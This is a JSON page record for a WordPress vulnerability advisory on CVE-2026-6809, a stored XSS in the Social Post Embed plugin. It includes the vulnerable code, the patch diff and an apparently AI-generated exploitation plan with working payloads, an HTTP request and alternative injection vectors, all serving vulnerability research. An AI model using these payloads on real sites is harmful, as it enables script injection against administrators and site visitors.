[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f06e1K139oZ-oZvl8vUJdOnGI5B2KonI_VJKYhqzxx6w":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":25,"research_verified":26,"research_rounds_completed":27,"research_plan":28,"research_summary":29,"research_vulnerable_code":30,"research_fix_diff":31,"research_exploit_outline":32,"research_model_used":33,"research_started_at":34,"research_completed_at":35,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":26,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":26,"source_links":36},"CVE-2026-6809","social-post-embed-authenticated-contributor-stored-cross-site-scripting-via-threads-embed","Social Post Embed \u003C= 2.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Threads Embed","The Social Post Embed plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Threads embed handler in all versions up to, and including, 2.0.1. This is due to insufficient input sanitization and output escaping on the user-supplied URL. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","social-post-embed",null,"\u003C=2.0.1","2.0.2","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-04-27 15:57:20","2026-05-07 20:55:17",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F4c16841d-8878-4328-a5dc-113d213cca33?source=api-prod",10,[22,23,24],"inc\u002Fthreads.php","readme.txt","social-post-embed.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-6809 (Social Post Embed)\n\n## 1. Vulnerability Summary\nThe **Social Post Embed** plugin (\u003C= 2.0.1) is vulnerable to **Stored Cross-Site Scripting (XSS)** via its Threads embed handler. The plugin registers a custom embed handler for Threads URLs but fails to sanitize or escape the user-provided URL and the extracted \"user\" string before outputting them into the page's HTML. This allows an authenticated user with Contributor-level permissions or higher to inject arbitrary JavaScript by simply pasting a crafted Threads URL into a post or page.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: WordPress Post Editor (`wp-admin\u002Fpost-new.php` or `wp-admin\u002Fpost.php`).\n- **Hook**: `init` calls `spte_register_threads_handler`, which registers the handler via `wp_embed_register_handler`.\n- **Payload Parameter**: The content of a WordPress post (the `post_content` field).\n- **Vulnerable Handler**: `spte_threads_handler` in `inc\u002Fthreads.php`.\n- **Authentication Level**: Contributor or higher (any role capable of creating\u002Fediting posts).\n- **Preconditions**: The plugin must be active. The payload is triggered when any user (e.g., an Administrator) views the post on the frontend or via a preview.\n\n## 3. Code Flow\n1. **Registration**: In `inc\u002Fthreads.php`, `spte_register_threads_handler()` registers a handler for URLs matching `#https:\u002F\u002Fwww\\.threads\\.net\u002F.*#i`.\n2. **Trigger**: When WordPress processes a post containing a Threads URL (via `the_content` filter or auto-embeds), it calls `spte_threads_handler`.\n3. **Extraction**: The handler uses a regex to extract the username and full URL:\n   ```php\n   preg_match( '\u002Fhttps:\\\u002F\\\u002Fwww\\.threads\\.net\\\u002F(@.*)\\\u002Fpost\\\u002F.*\u002F', $threads_url, $split );\n   $user = $split[1];\n   $url  = $split[0];\n   ```\n4. **Sink**: The `$user` and `$threads_url` variables are concatenated directly into the `$embed` HTML string without any escaping:\n   ```php\n   $embed = '... \u003Ca href=\"' . $threads_url . '\" ...> ... Post by ' . $user . '\u003C\u002Fdiv> ...';\n   ```\n5. **Output**: The unescaped HTML is returned and rendered in the browser.\n\n## 4. Nonce Acquisition Strategy\nThis vulnerability is exploited by creating a WordPress post. WordPress requires a nonce for post creation\u002Fediting to prevent CSRF.\n\n1. **Strategy**:\n   - Use the `browser_navigate` tool to go to `wp-admin\u002Fpost-new.php`.\n   - Use `browser_eval` to extract the `_wpnonce` from the hidden input field or the `wp.apiFetch` settings if using the Block Editor.\n   - Alternatively, since the agent has high-level browser control, it can simply use the `browser_type` and `browser_click` tools to perform the injection through the UI, which handles nonces automatically.\n2. **Specific Identifiers**:\n   - The classic editor uses an input with `id=\"_wpnonce\"` and `name=\"_wpnonce\"`.\n   - The block editor (Gutenberg) often uses a REST API nonce available at `window.wpApiSettings.nonce`.\n\n## 5. Exploitation Strategy\nThe goal is to inject a payload that breaks out of the HTML tags in the embed output.\n\n### Steps:\n1. **Login**: Log in as a user with the **Contributor** role.\n2. **Payload Construction**:\n   - Craft a Threads URL that satisfies the plugin's regex while containing an XSS payload.\n   - **Target**: The `$user` variable (extracted from the `@` part of the URL).\n   - **Payload**: `https:\u002F\u002Fwww.threads.net\u002F@\">\u003Cimg src=x onerror=alert(document.domain)>\u002Fpost\u002F123`\n   - **Logic**: The regex `(@.*)` will capture `@\">\u003Cimg src=x onerror=alert(document.domain)>`. When echoed inside the `\u003Cdiv>`, it breaks the text context and executes the script.\n3. **Injection**:\n   - Navigate to `wp-admin\u002Fpost-new.php`.\n   - Set the post content to the payload URL (ensure it is on its own line to trigger auto-embed).\n   - Save the post as a draft (Contributors cannot publish, but their drafts are viewable by Admins).\n4. **Trigger**:\n   - Log in as an **Administrator**.\n   - Navigate to the frontend URL of the created post or view the post preview in the dashboard.\n\n### HTTP Request (if performed via `http_request`):\n```http\nPOST \u002Fwp-admin\u002Fpost.php HTTP\u002F1.1\nContent-Type: application\u002Fx-www-form-urlencoded\n\npost_ID=[ID]&action=editpost&_wpnonce=[NONCE]&post_content=https:\u002F\u002Fwww.threads.net\u002F@%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E\u002Fpost\u002F123&post_title=Stored+XSS+Test&post_status=draft\n```\n\n## 6. Test Data Setup\n1. **User**: Create a user with the `contributor` role.\n   - `wp user create attacker attacker@example.com --role=contributor --user_pass=password123`\n2. **Plugin**: Ensure `social-post-embed` version 2.0.1 is installed and active.\n\n## 7. Expected Results\n- When the post is viewed, the resulting HTML should contain the broken `\u003Cdiv>`:\n  ```html\n  \u003Cdiv style=\"...\"> Post by @\">\u003Cimg src=x onerror=alert(document.domain)>\u003C\u002Fdiv>\n  ```\n- The browser should execute the `alert(document.domain)` command.\n\n## 8. Verification Steps\n1. **CLI Check**: Verify the post content was saved exactly as intended.\n   - `wp post get [ID] --field=post_content`\n2. **Frontend Check**: Use `http_request` to fetch the post's frontend page and grep for the unescaped payload.\n   - `http_request(url=\"http:\u002F\u002Flocalhost:8080\u002F?p=[ID]\")`\n   - Look for: `Post by @\">\u003Cimg src=x onerror=alert(document.domain)>` in the response body.\n\n## 9. Alternative Approaches\n- **Attribute Breakout**: If the `\u003Cdiv>` injection is blocked by a WAF, target the `data-text-post-permalink` attribute in the `\u003Cblockquote>` tag.\n  - **Payload**: `https:\u002F\u002Fwww.threads.net\u002F@user\u002Fpost\u002F123\" onmouseover=\"alert(1)\"`\n- **Shortcode Trigger**: If auto-embed fails, use the `[embed]` shortcode explicitly:\n  - `[embed]https:\u002F\u002Fwww.threads.net\u002F@\">\u003Cimg src=x onerror=alert(1)>\u002Fpost\u002F123[\u002Fembed]`\n- **Spoutible Handler**: Check `inc\u002Fspoutible.php` (included in `social-post-embed.php`) for similar logic, as the plugin was \"extended to work on a number of different social platforms\" in version 2.0.","The Social Post Embed plugin for WordPress (\u003C= 2.0.1) is vulnerable to Stored Cross-Site Scripting via its Threads embed handler. The plugin extracts the username and URL from a user-supplied Threads link but fails to sanitize or escape these values before including them in the generated HTML, allowing Contributor+ users to execute arbitrary JavaScript.","\u002F\u002F inc\u002Fthreads.php lines 46-53\n\t$matched = preg_match( '\u002Fhttps:\\\u002F\\\u002Fwww\\.threads\\.net\\\u002F(@.*)\\\u002Fpost\\\u002F.*\u002F', $threads_url, $split );\n\n\tif ( 1 === $matched ) {\n\t\t$user = $split[1];\n\t\t$url  = $split[0];\n\t} else {\n\t\t$user = '';\n\t\t$url  = false;\n\t}\n\n---\n\n\u002F\u002F inc\u002Fthreads.php line 63\n\t\t$embed = '\u003Cblockquote class=\"text-post-media\" data-text-post-permalink=\"' .  $threads_url . '\" data-text-post-version=\"0\" id=\"ig-tp-' . $url . '\" style=\" background:#FFF; border-width: 1px; border-style: solid; border-color: #00000026; border-radius: 16px; max-width:540px; margin: 1px; min-width:270px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"> \u003Ca href=\"' .  $threads_url . '\" style=\" background:#FFFFFF; line-height:0; padding:0 0; text-align:center; text-decoration:none; width:100%; font-family: -apple-system, BlinkMacSystemFont, sans-serif;\" target=\"_blank\"> \u003Cdiv style=\" padding: 40px; display: flex; flex-direction: column; align-items: center;\">\u003Cdiv style=\" display:block; height:32px; width:32px; padding-bottom:20px;\"> \u003Csvg ... (truncated) ... \u003C\u002Fsvg>\u003C\u002Fdiv> \u003Cdiv style=\" font-size: 15px; line-height: 21px; color: #999999; font-weight: 400; padding-bottom: 4px; \"> Post by ' . $user . '\u003C\u002Fdiv> \u003Cdiv style=\" font-size: 15px; line-height: 21px; color: #000000; font-weight: 600; \"> View on Threads\u003C\u002Fdiv>\u003C\u002Fdiv>\u003C\u002Fa>\u003C\u002Fblockquote>\u003Cscript async src=\"https:\u002F\u002Fwww.threads.net\u002Fembed.js\">\u003C\u002Fscript>';","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsocial-post-embed\u002F2.0.1\u002Finc\u002Fthreads.php\t2024-04-21 15:22:08.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsocial-post-embed\u002F2.0.2\u002Finc\u002Fthreads.php\t2026-04-21 20:37:20.000000000 +0000\n@@ -46,8 +46,8 @@\n \t$matched = preg_match( '\u002Fhttps:\\\u002F\\\u002Fwww\\.threads\\.net\\\u002F(@.*)\\\u002Fpost\\\u002F.*\u002F', $threads_url, $split );\n \n \tif ( 1 === $matched ) {\n-\t\t$user = $split[1];\n-\t\t$url  = $split[0];\n+\t\t$user = esc_attr( $split[1] );\n+\t\t$url  = esc_attr( $split[0] );\n \t} else {\n \t\t$user = '';\n \t\t$url  = false;\n@@ -58,6 +58,8 @@\n \tif ( ! $url ) {\n \t\t$embed = '\u003Cp>Error: Threads URL format not recognised.\u003C\u002Fp>';\n \t} else {\n+\t\t$threads_url = esc_url( $threads_url );\n+\n \t\t\u002F\u002F The following code makes use of a third party script from Threads (part of Meta). The Privacy Policy is at https:\u002F\u002Fhelp.instagram.com\u002F515230437301944\n \t\t\u002F\u002F PHPCS is disabled for this next line, so there's no nag to enqueue this script.\n \t\t\u002F\u002F phpcs:disable","An authenticated attacker with Contributor-level permissions or higher can exploit this vulnerability by creating or editing a post and inserting a maliciously crafted Threads URL. A payload such as 'https:\u002F\u002Fwww.threads.net\u002F@\">\u003Cimg src=x onerror=alert(document.domain)>\u002Fpost\u002F123' satisfies the plugin's regex, which captures the XSS payload into the '$user' variable. When the post is rendered, the payload breaks out of the HTML structure and executes the injected script in the context of any user viewing the page, including administrators.","gemini-3-flash-preview","2026-05-04 18:17:01","2026-05-04 18:17:39",{"type":37,"vulnerable_version":38,"fixed_version":11,"vulnerable_browse":39,"vulnerable_zip":40,"fixed_browse":41,"fixed_zip":42,"all_tags":43},"plugin","2.0.1","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsocial-post-embed\u002Ftags\u002F2.0.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsocial-post-embed.2.0.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsocial-post-embed\u002Ftags\u002F2.0.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsocial-post-embed.2.0.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsocial-post-embed\u002Ftags"]